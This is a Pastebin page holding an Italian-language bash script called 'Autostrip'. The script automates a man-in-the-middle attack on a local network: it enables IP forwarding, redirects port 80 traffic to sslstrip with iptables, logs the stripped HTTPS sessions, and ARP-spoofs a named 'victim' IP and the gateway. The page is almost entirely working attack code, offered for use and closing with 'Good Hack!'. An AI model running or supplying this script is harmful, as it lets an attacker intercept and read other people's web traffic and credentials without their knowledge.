Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #Autostrip
- #Automazione SslStrip+arpspoof
- #
- DPORT="80" ; #Porta che voglio reindirizzare verso la TPORT
- TPORT="1000" ; #Porta usata da SSLStrip, cambiala se vuoi o se occupata da altro!
- IPF=/proc/sys/net/ipv4/ip_forward ;
- MINPAR="3";
- # FUNZIONE DI AIUTO
- fun_help () {
- echo
- echo
- echo "[-]Autostrip automatizza le operazioni comuni per lo sniffing"
- echo "[-]Reindirizza la porta 80 sulla porta 1000 di SSLStrip"
- echo "[-]Puoi modificare la \"to-port\" 1000, cambiando il valore di \"\$TPORT\""
- echo "[-]Devi avere installato sslstrip e arpspoof,"
- echo "[-]Esegui\"apt-get install sslstrip arpspoof\" in caso contrario"
- echo "[-]Utilizzo: ./autostrip.sh ip_gateway ip_vittima interfaccia"
- echo "[-]Inserisci i parametri nell'ordine esatto indicato."
- echo "[*]Esempio: ./autostrip.sh 192.168.0.1 192.168.0.100 wlan0"
- echo "[***]Usa la testa e Good Hack!"
- exit
- }
- # FINE HELP
- # CONTROLLO: UID, PARAMETRI, PROG. NECESSARI, IP_FORWARD
- if [ $UID != "0" ]
- then
- echo "Non hai i permessi necessari per eseguire lo script! need to be root!" && fun_help
- fi
- which sslstrip > /dev/null || echo "sslstrip non Γ¨ presente" exit ;
- which arpspoof > /dev/null || echo "arpspoof non Γ¨ presente" exit ;
- if [ `cat $IPF` = "0" ]
- then
- echo "attivo ip_forward che non lo era" && echo 1 > $IPF ;
- else
- echo "ip_forward giΓ attivo"
- fi
- if [ $# -lt "$MINPAR" ] #non controllo che gli indirizzi siano giusti, che si fotta!
- then
- echo "lo script necessitΓ di $MINPAR parametri" && fun_help
- else
- echo "Tutti i controlli superati con successo!!"
- fi
- # FINE DEI CONTROLLI
- echo
- # PREPARO IPTABLES
- iptables -t nat -A PREROUTING -p tcp --destination-port $DPORT -j REDIRECT --to-port $TPORT
- if [ $? -ne 0 ]
- then
- echo "impossibile scrivere le iptables" && fun_help
- else
- echo "iptables scritte con successo!"
- fi
- # FINE IPTABLES
- echo
- # RIEPILOGO
- echo "[*]IP Gateway:$1"
- echo "[*]IP Vittima:$2"
- echo "[*]Interfaccia:$3"
- echo -n "Premi si per continuare, n per abortire:[si] "
- read TASTO
- case $TASTO in
- n)echo "esco!" && exit ;;
- s)echo ;;
- *)echo ;;
- esac
- echo "continuo!"
- # FINE RIEPILOGO
- echo
- # AVVIO SSLStrip
- ( xfce4-terminal -e "sslstrip -l $TPORT -w log_ssl3 -p -a" ) &
- if [ $? -ne 0 ]
- then
- echo "sslstrip ha fallito" && fun_help
- else
- echo "sslstrip avviato con successo! $PID"
- fi
- ##
- echo
- sleep 5
- #AVVIO ARPSPOOF
- ( xfce4-terminal -e "arpspoof -i $3 -t $2 $1" ) &
- if [ $? -ne 0 ]
- then
- echo "arpspoof ha fallito" && fun_help
- else
- echo "arpspoof avviato con successo! $PID"
- fi
- ##
- echo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement